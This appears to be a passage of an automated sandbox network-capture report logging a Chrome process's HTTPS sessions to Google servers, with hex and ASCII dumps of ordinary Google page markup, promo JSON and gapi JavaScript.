2024-10-29 05:59:09 UTC	336	IN	Data Raw: 31 63 30 37 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1c07)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-29 05:59:09 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-29 05:59:09 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-29 05:59:09 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-29 05:59:09 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-29 05:59:09 UTC	1335	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700279,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-29 05:59:09 UTC	306	IN	Data Raw: 31 32 62 0d 0a 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 57 67 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 Data Ascii: 12brCase()\u003d\u003d\u003da+\":\")};_.Xd\u003dglobalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.Wg\u003da}};_.$d\u003d[Wd
2024-10-29 05:59:09 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 5c 22 29 2c 57 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 56 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 61 65 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 6e 65 77 20 5f 2e 61 65 28 5f 2e 58 64 3f 5f 2e 58 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 66 65 2c 74 65 2c 65 65 2c 67 65 2c 6c 65 3b 5f 2e Data Ascii: 8000\"),Wd(\"ftp\"),new _.Vd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.ae\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.be\u003dnew _.ae(_.Xd?_.Xd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar fe,te,ee,ge,le;_.
2024-10-29 05:59:09 UTC	1378	IN	Data Raw: 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 51 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 41 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 64 65 28 5f 2e 59 63 28 61 Data Ascii: .pe\u003dfunction(a){var b\u003d_.Qa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.qe\u003dfunction(a,b,c){return _.Ab(a,b,c,!1)!\u003d\u003dvoid 0};_.re\u003dfunction(a,b){return _.de(_.Yc(a
2024-10-29 05:59:09 UTC	1378	IN	Data Raw: 69 66 28 62 29 7b 76 61 72 20 66 5c 75 30 30 33 64 7b 7d 3b 66 6f 72 28 63 5c 75 30 30 33 64 64 5c 75 30 30 33 64 30 3b 61 5c 75 30 30 33 64 65 5b 63 5d 3b 63 2b 2b 29 7b 76 61 72 20 67 5c 75 30 30 33 64 61 2e 63 6c 61 73 73 4e 61 6d 65 3b 74 79 70 65 6f 66 20 67 2e 73 70 6c 69 74 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 5f 2e 76 61 28 67 2e 73 70 6c 69 74 28 2f 5c 5c 73 2b 2f 29 2c 62 29 5c 75 30 30 32 36 5c 75 30 30 32 36 28 66 5b 64 2b 2b 5d 5c 75 30 30 33 64 61 29 7d 66 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 64 3b 72 65 74 75 72 6e 20 66 7d 72 65 74 75 72 6e 20 65 7d 3b 5c 6e 5f 2e 42 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 Data Ascii: if(b){var f\u003d{};for(c\u003dd\u003d0;a\u003de[c];c++){var g\u003da.className;typeof g.split\u003d\u003d\"function\"\u0026\u0026_.va(g.split(/\\s+/),b)\u0026\u0026(f[d++]\u003da)}f.length\u003dd;return f}return e};\n_.Be\u003dfunction(a,b){_.Gb(b,functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49713	142.250.184.196	443	5532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:09 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 05:59:09 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 05:59:09 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 05:59:09 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-29 05:59:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49720	142.250.186.142	443	5532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:12 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 05:59:12 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 28 Oct 2024 20:58:20 GMT Expires: Tue, 28 Oct 2025 20:58:20 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 32452 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-29 05:59:12 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-29 05:59:12 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-29 05:59:12 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-29 05:59:12 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-29 05:59:12 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-29 05:59:12 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
